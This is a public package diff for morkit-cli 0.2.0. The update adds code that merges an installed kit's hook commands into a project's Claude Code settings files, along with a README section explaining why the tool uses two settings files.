@mhd1999/morkit-cli 0.1.0 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +50 -6
- package/dist/commands/install.js +81 -3
- package/dist/commands/install.js.map +1 -1
- package/dist/lib/lock.js +4 -0
- package/dist/lib/lock.js.map +1 -1
- package/dist/lib/paths.js +42 -0
- package/dist/lib/paths.js.map +1 -1
- package/dist/lib/settings.js +456 -0
- package/dist/lib/settings.js.map +1 -0
- package/package.json +3 -2
package/README.md
CHANGED
|
@@ -49,15 +49,59 @@ the server and override the saved configuration. The default server is
|
|
|
49
49
|
```
|
|
50
50
|
my-project/
|
|
51
51
|
.claude/
|
|
52
|
-
skills/…
|
|
53
|
-
commands/…
|
|
54
|
-
agents/…
|
|
55
|
-
plugins/morkit/…
|
|
56
|
-
|
|
52
|
+
skills/… ← kit skills/, loaded by Claude Code
|
|
53
|
+
commands/… ← kit commands/
|
|
54
|
+
agents/… ← kit agents/
|
|
55
|
+
plugins/morkit/… ← everything else (manifest, hooks, lib, scripts)
|
|
56
|
+
settings.json ← the kit's hooks, wired in — commit this
|
|
57
|
+
settings.local.json ← plugin-root env for this machine — NOT committed
|
|
58
|
+
.gitignore ← keeps settings.local.json out of git
|
|
59
|
+
.morkit-lock.json ← what was installed — commit this
|
|
57
60
|
```
|
|
58
61
|
|
|
59
62
|
`.morkit-lock.json` records the API URL, kit slug, version, install timestamp, a
|
|
60
|
-
`sha256` per artifact
|
|
63
|
+
`sha256` per artifact, one combined hash for the rest, and the hook commands written
|
|
64
|
+
into `settings.json`. **It never contains a token.**
|
|
65
|
+
|
|
66
|
+
### Why two settings files
|
|
67
|
+
|
|
68
|
+
A kit installed by this CLI is not a Claude Code plugin, so nothing tells Claude Code
|
|
69
|
+
that `.claude/plugins/<kit>/` exists. Measured 2026-09-04: the kit's `hooks/hooks.json`
|
|
70
|
+
sitting in that directory fired **0 of 3** hooks; the same directory passed via
|
|
71
|
+
`--plugin-dir` fired **3 of 3**. A directory marketplace plus `enabledPlugins` fired
|
|
72
|
+
nothing either. So the hooks have to be merged into a settings file, and they are:
|
|
73
|
+
|
|
74
|
+
- **`settings.json`** gets the hook entries, with the kit's
|
|
75
|
+
`${MORKIT_PLUGIN_ROOT:-${CLAUDE_PLUGIN_ROOT}}` placeholder rewritten to
|
|
76
|
+
`${CLAUDE_PROJECT_DIR}/.claude/plugins/<kit>`. Hook *commands* do expand that
|
|
77
|
+
variable, so the file stays machine-independent and is safe to commit — which is the
|
|
78
|
+
point, since the team should share one set of hooks. Entries your project or another
|
|
79
|
+
tool already had are left untouched; the lockfile remembers which ones are ours, so
|
|
80
|
+
`morkit update` replaces only those.
|
|
81
|
+
|
|
82
|
+
- **`settings.local.json`** gets `env.MORKIT_PLUGIN_ROOT` — the **absolute** path to the
|
|
83
|
+
installed kit, and **only** that name. Measured: values in `env` do reach the Bash tool,
|
|
84
|
+
so the kit's commands, skills and scripts resolve from it.
|
|
85
|
+
|
|
86
|
+
`CLAUDE_PLUGIN_ROOT` is deliberately **not** set. Claude Code does override that
|
|
87
|
+
variable per plugin component, but only for plugin *hooks*; a plugin's skill or command
|
|
88
|
+
is instruction text telling the agent to run `bash "${CLAUDE_PLUGIN_ROOT}/…"`, and that
|
|
89
|
+
Bash call sees this session `env`. On one real machine, 61 files across other installed
|
|
90
|
+
plugins (superpowers, ecc, claude-security, code-modernization, hookify) read it — so
|
|
91
|
+
setting it here would silently point all of them at morkit's kit directory. The kit's
|
|
92
|
+
own bare `${CLAUDE_PLUGIN_ROOT}` references are fixed at the other end, in
|
|
93
|
+
mor-duongmh/morkit-plugin#68, using the `${MORKIT_PLUGIN_ROOT:-${CLAUDE_PLUGIN_ROOT}}`
|
|
94
|
+
cascade the kit already mandates.
|
|
95
|
+
|
|
96
|
+
`env` values do *not* expand variables, so an absolute path is unavoidable — and an
|
|
97
|
+
absolute path must not reach a teammate's clone, which is why this lives in the local
|
|
98
|
+
file and why the CLI writes `.claude/.gitignore`.
|
|
99
|
+
|
|
100
|
+
A hook is wired only when its command points inside the installed kit. The kit ships one
|
|
101
|
+
`Stop` hook reading `.claude/helpers/hook-handler.cjs` — the model-routing subsystem,
|
|
102
|
+
which by design applies only inside the morkit repo itself and is not part of the kit.
|
|
103
|
+
That entry is correct for the clone-based Codex install, which does have a repo root; it
|
|
104
|
+
is skipped here, where there is none, and the reason is printed rather than swallowed.
|
|
61
105
|
|
|
62
106
|
## Updating, and what happens to your edits
|
|
63
107
|
|
package/dist/commands/install.js
CHANGED
|
@@ -3,8 +3,11 @@ import { fetchKitArchive, fetchKitMeta } from "../lib/api.js";
|
|
|
3
3
|
import { resolveAuth } from "../lib/config.js";
|
|
4
4
|
import { applyPlan, computePlan, ensureClaudeLayout } from "../lib/install.js";
|
|
5
5
|
import { isoUtc, lockMatches, readLock, sha256, writeLock } from "../lib/lock.js";
|
|
6
|
-
import { isArtifactPath } from "../lib/paths.js";
|
|
6
|
+
import { assertKitSlug, isArtifactPath } from "../lib/paths.js";
|
|
7
|
+
import { EMPTY_WIRING, planHookWiring, wireHooks } from "../lib/settings.js";
|
|
7
8
|
import { extractTarGz } from "../lib/tar.js";
|
|
9
|
+
/** Kit-relative path of the hooks manifest morkit wires into settings. */
|
|
10
|
+
export const KIT_HOOKS_MANIFEST = "hooks/hooks.json";
|
|
8
11
|
export const DEFAULT_KIT = "morkit";
|
|
9
12
|
/**
|
|
10
13
|
* Shared body of `init` and `update`.
|
|
@@ -16,7 +19,11 @@ export const DEFAULT_KIT = "morkit";
|
|
|
16
19
|
export async function installKit(opts) {
|
|
17
20
|
const dir = path.resolve(opts.dir);
|
|
18
21
|
const existing = readLock(dir);
|
|
19
|
-
|
|
22
|
+
// Validated before it is used as a path segment or interpolated into a hook
|
|
23
|
+
// command. Both sources need it: `--kit` from the CLI, and `existing.kit`
|
|
24
|
+
// from `.morkit-lock.json` — a committed file, so a poisoned lockfile in a
|
|
25
|
+
// merged PR is a real path in. See assertKitSlug.
|
|
26
|
+
const kit = assertKitSlug(opts.kit ?? existing?.kit ?? DEFAULT_KIT);
|
|
20
27
|
const auth = resolveAuth({
|
|
21
28
|
apiUrl: opts.apiUrl,
|
|
22
29
|
pat: opts.pat,
|
|
@@ -60,17 +67,50 @@ export async function installKit(opts) {
|
|
|
60
67
|
// there is no prior record, so every artifact has an entry.
|
|
61
68
|
artifacts[entry.rel] = lock?.artifacts[entry.rel] ?? entry.remoteHash;
|
|
62
69
|
}
|
|
70
|
+
// Claude Code does not load a CLI-installed kit's hooks.json (measured — see
|
|
71
|
+
// lib/settings.ts), so the hook commands must be merged into a settings file.
|
|
72
|
+
// Planned here, before any write, because `upToDate` depends on the result.
|
|
73
|
+
const hooksManifest = files.get(KIT_HOOKS_MANIFEST);
|
|
74
|
+
const wiring = hooksManifest ? planHookWiring(hooksManifest, kit) : EMPTY_WIRING;
|
|
63
75
|
const next = {
|
|
64
76
|
apiUrl: auth.apiUrl,
|
|
65
77
|
kit,
|
|
66
78
|
version: meta.version,
|
|
67
79
|
artifacts,
|
|
68
80
|
shell: meta.shell,
|
|
81
|
+
settingsHooks: wiring.commands,
|
|
69
82
|
};
|
|
70
83
|
const upToDate = plan.write.length === 0 && lockMatches(existing, next);
|
|
71
84
|
if (!upToDate) {
|
|
72
85
|
ensureClaudeLayout(dir);
|
|
73
86
|
applyPlan(plan, files, executable);
|
|
87
|
+
}
|
|
88
|
+
// Always wire, even on an up-to-date install: it writes only when the JSON
|
|
89
|
+
// differs, so the cost is nil, and it repairs a project whose settings file
|
|
90
|
+
// was edited or wiped since the last run.
|
|
91
|
+
//
|
|
92
|
+
// `existing`, NOT `lock`. `lock` is deliberately nulled when the kit changed
|
|
93
|
+
// (line above) because artifact hashes are per-kit — but `settingsHooks` means
|
|
94
|
+
// "hook entries morkit wrote", regardless of which kit wrote them. Reading it
|
|
95
|
+
// from `lock` orphaned the old kit's hooks on every `--kit` switch: they were
|
|
96
|
+
// treated as foreign and kept, while the new lockfile recorded only the new
|
|
97
|
+
// kit's, so no later install could ever recognise or remove them.
|
|
98
|
+
const wired = wireHooks({ dir, kit, wiring, ownedBefore: existing?.settingsHooks ?? [] });
|
|
99
|
+
// Settings first, lockfile second, and NOT atomically — accepted, with a
|
|
100
|
+
// reason rather than by omission.
|
|
101
|
+
//
|
|
102
|
+
// A crash between the two leaves hooks written that the lockfile does not
|
|
103
|
+
// record. That state is recoverable and, since `findHandEdited`, it is also
|
|
104
|
+
// self-announcing: the next install sees entries pointing into this kit with
|
|
105
|
+
// no record claiming them and prints them as conflicts. So the failure mode is
|
|
106
|
+
// "user is told, nothing is lost", not silent breakage.
|
|
107
|
+
//
|
|
108
|
+
// Two-phase commit across three small JSON files would cost more complexity
|
|
109
|
+
// than the window is worth. The order matters though and is deliberate: the
|
|
110
|
+
// lockfile records what was ACTUALLY written, so writing it first would let it
|
|
111
|
+
// claim hooks that never landed — an inconsistency in the direction that
|
|
112
|
+
// cannot be detected.
|
|
113
|
+
if (!upToDate || wired.changed.length > 0) {
|
|
74
114
|
writeLock(dir, { ...next, installedAt: isoUtc() });
|
|
75
115
|
}
|
|
76
116
|
if (mismatched.length > 0) {
|
|
@@ -83,17 +123,55 @@ export async function installKit(opts) {
|
|
|
83
123
|
written: plan.write.map((e) => e.rel),
|
|
84
124
|
kept: plan.keep.map((e) => e.rel),
|
|
85
125
|
unchanged: plan.unchanged.length,
|
|
86
|
-
upToDate,
|
|
126
|
+
upToDate: upToDate && wired.changed.length === 0,
|
|
127
|
+
wired: wired.changed,
|
|
128
|
+
skippedHooks: wired.skipped,
|
|
129
|
+
hookConflicts: wired.conflicts,
|
|
87
130
|
};
|
|
88
131
|
}
|
|
132
|
+
/**
|
|
133
|
+
* Outstanding problems — printed on EVERY run, including an up-to-date one.
|
|
134
|
+
*
|
|
135
|
+
* `upToDate` answers "did anything get written", not "is everything fine". A
|
|
136
|
+
* hand-edited hook conflict and a permanently skipped hook both persist across
|
|
137
|
+
* runs while writing nothing, so gating these behind `!upToDate` meant they were
|
|
138
|
+
* announced exactly once and then went quiet forever — silencing the very
|
|
139
|
+
* mechanism added to stop them being silent.
|
|
140
|
+
*/
|
|
141
|
+
function reportOutstanding(res) {
|
|
142
|
+
if (res.skippedHooks.length > 0) {
|
|
143
|
+
// Said out loud rather than swallowed: a hook the kit ships but this CLI
|
|
144
|
+
// will not wire is a real gap in what the user gets, and the reason is the
|
|
145
|
+
// only thing that makes it fixable.
|
|
146
|
+
process.stderr.write(`\n! ${res.skippedHooks.length} hook(s) in the kit were not wired:\n`);
|
|
147
|
+
for (const s of res.skippedHooks) {
|
|
148
|
+
process.stderr.write(` ${s.event}: ${s.reason}\n ${s.command}\n`);
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
if (res.hookConflicts.length > 0) {
|
|
152
|
+
// Not swallowed: the same event now has two entries running for it, and only
|
|
153
|
+
// a person can say which one to drop.
|
|
154
|
+
process.stderr.write(`\n! ${res.hookConflicts.length} hook(s) in .claude/settings.json point into this ` +
|
|
155
|
+
"kit but are not in the lockfile — probably edited by hand.\n" +
|
|
156
|
+
" They were KEPT, and morkit's own entry was added alongside, so the event\n" +
|
|
157
|
+
" now runs both. Remove whichever one you do not want:\n");
|
|
158
|
+
for (const c of res.hookConflicts) {
|
|
159
|
+
process.stderr.write(` ${c.event}: ${c.command}\n`);
|
|
160
|
+
}
|
|
161
|
+
}
|
|
162
|
+
}
|
|
89
163
|
/** Human-readable summary shared by `init`, `new` and `update`. */
|
|
90
164
|
export function reportInstall(res, dir, force) {
|
|
91
165
|
if (res.upToDate) {
|
|
92
166
|
process.stdout.write(`✓ ${dir} is already up to date (${res.kit} ${res.version}).\n`);
|
|
167
|
+
reportOutstanding(res);
|
|
93
168
|
return;
|
|
94
169
|
}
|
|
95
170
|
for (const rel of res.written)
|
|
96
171
|
process.stdout.write(` + ${rel}\n`);
|
|
172
|
+
for (const rel of res.wired)
|
|
173
|
+
process.stdout.write(` ~ ${rel} (hooks wired)\n`);
|
|
174
|
+
reportOutstanding(res);
|
|
97
175
|
if (res.kept.length > 0) {
|
|
98
176
|
process.stderr.write(`\n! Kept ${res.kept.length} locally modified file(s) — not overwritten:\n`);
|
|
99
177
|
for (const rel of res.kept)
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"install.js","sourceRoot":"","sources":["../../src/commands/install.ts"],"names":[],"mappings":"AAAA,OAAO,IAAI,MAAM,WAAW,CAAC;AAE7B,OAAO,EAAE,eAAe,EAAE,YAAY,EAAE,MAAM,eAAe,CAAC;AAC9D,OAAO,EAAE,WAAW,EAAE,MAAM,kBAAkB,CAAC;AAC/C,OAAO,EAAE,SAAS,EAAE,WAAW,EAAE,kBAAkB,EAAE,MAAM,mBAAmB,CAAC;AAC/E,OAAO,EAAE,MAAM,EAAE,WAAW,EAAE,QAAQ,EAAE,MAAM,EAAE,SAAS,EAAiB,MAAM,gBAAgB,CAAC;AACjG,OAAO,EAAE,cAAc,EAAE,MAAM,iBAAiB,CAAC;
|
|
1
|
+
{"version":3,"file":"install.js","sourceRoot":"","sources":["../../src/commands/install.ts"],"names":[],"mappings":"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"}
|
package/dist/lib/lock.js
CHANGED
|
@@ -23,6 +23,7 @@ export function readLock(dir) {
|
|
|
23
23
|
installedAt: raw.installedAt ?? "",
|
|
24
24
|
artifacts: raw.artifacts ?? {},
|
|
25
25
|
shell: raw.shell ?? "",
|
|
26
|
+
settingsHooks: Array.isArray(raw.settingsHooks) ? raw.settingsHooks : [],
|
|
26
27
|
};
|
|
27
28
|
}
|
|
28
29
|
catch {
|
|
@@ -38,6 +39,7 @@ export function writeLock(dir, lock) {
|
|
|
38
39
|
// Sorted so a re-install produces a byte-identical file and PR diffs stay readable.
|
|
39
40
|
artifacts: Object.fromEntries(Object.entries(lock.artifacts).sort(([a], [b]) => (a < b ? -1 : a > b ? 1 : 0))),
|
|
40
41
|
shell: lock.shell,
|
|
42
|
+
settingsHooks: [...lock.settingsHooks].sort(),
|
|
41
43
|
};
|
|
42
44
|
fs.writeFileSync(lockPath(dir), `${JSON.stringify(ordered, null, 2)}\n`);
|
|
43
45
|
}
|
|
@@ -49,6 +51,8 @@ export function lockMatches(lock, next) {
|
|
|
49
51
|
lock.kit === next.kit &&
|
|
50
52
|
lock.version === next.version &&
|
|
51
53
|
lock.shell === next.shell &&
|
|
54
|
+
JSON.stringify([...lock.settingsHooks].sort()) ===
|
|
55
|
+
JSON.stringify([...next.settingsHooks].sort()) &&
|
|
52
56
|
JSON.stringify(Object.entries(lock.artifacts).sort()) ===
|
|
53
57
|
JSON.stringify(Object.entries(next.artifacts).sort()));
|
|
54
58
|
}
|
package/dist/lib/lock.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"lock.js","sourceRoot":"","sources":["../../src/lib/lock.ts"],"names":[],"mappings":"AAAA,OAAO,MAAM,MAAM,aAAa,CAAC;AACjC,OAAO,EAAE,MAAM,SAAS,CAAC;AAEzB,OAAO,EAAE,QAAQ,EAAE,MAAM,YAAY,CAAC;
|
|
1
|
+
{"version":3,"file":"lock.js","sourceRoot":"","sources":["../../src/lib/lock.ts"],"names":[],"mappings":"AAAA,OAAO,MAAM,MAAM,aAAa,CAAC;AACjC,OAAO,EAAE,MAAM,SAAS,CAAC;AAEzB,OAAO,EAAE,QAAQ,EAAE,MAAM,YAAY,CAAC;AA+BtC,MAAM,UAAU,MAAM,CAAC,IAAY;IACjC,OAAO,UAAU,MAAM,CAAC,UAAU,CAAC,QAAQ,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,MAAM,CAAC,KAAK,CAAC,EAAE,CAAC;AAC5E,CAAC;AAED,oEAAoE;AACpE,MAAM,UAAU,MAAM,CAAC,IAAU,IAAI,IAAI,EAAE;IACzC,OAAO,CAAC,CAAC,WAAW,EAAE,CAAC,OAAO,CAAC,WAAW,EAAE,GAAG,CAAC,CAAC;AACnD,CAAC;AAED,MAAM,UAAU,QAAQ,CAAC,GAAW;IAClC,MAAM,IAAI,GAAG,QAAQ,CAAC,GAAG,CAAC,CAAC;IAC3B,IAAI,CAAC,EAAE,CAAC,UAAU,CAAC,IAAI,CAAC;QAAE,OAAO,IAAI,CAAC;IACtC,IAAI,CAAC;QACH,MAAM,GAAG,GAAG,IAAI,CAAC,KAAK,CAAC,EAAE,CAAC,YAAY,CAAC,IAAI,EAAE,MAAM,CAAC,CAAsB,CAAC;QAC3E,IAAI,CAAC,GAAG,CAAC,GAAG,IAAI,CAAC,GAAG,CAAC,OAAO;YAAE,OAAO,IAAI,CAAC;QAC1C,OAAO;YACL,MAAM,EAAE,GAAG,CAAC,MAAM,IAAI,EAAE;YACxB,GAAG,EAAE,GAAG,CAAC,GAAG;YACZ,OAAO,EAAE,GAAG,CAAC,OAAO;YACpB,WAAW,EAAE,GAAG,CAAC,WAAW,IAAI,EAAE;YAClC,SAAS,EAAE,GAAG,CAAC,SAAS,IAAI,EAAE;YAC9B,KAAK,EAAE,GAAG,CAAC,KAAK,IAAI,EAAE;YACtB,aAAa,EAAE,KAAK,CAAC,OAAO,CAAC,GAAG,CAAC,aAAa,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,aAAa,CAAC,CAAC,CAAC,EAAE;SACzE,CAAC;IACJ,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,IAAI,CAAC;IACd,CAAC;AACH,CAAC;AAED,MAAM,UAAU,SAAS,CAAC,GAAW,EAAE,IAAc;IACnD,MAAM,OAAO,GAAa;QACxB,MAAM,EAAE,IAAI,CAAC,MAAM;QACnB,GAAG,EAAE,IAAI,CAAC,GAAG;QACb,OAAO,EAAE,IAAI,CAAC,OAAO;QACrB,WAAW,EAAE,IAAI,CAAC,WAAW;QAC7B,oFAAoF;QACpF,SA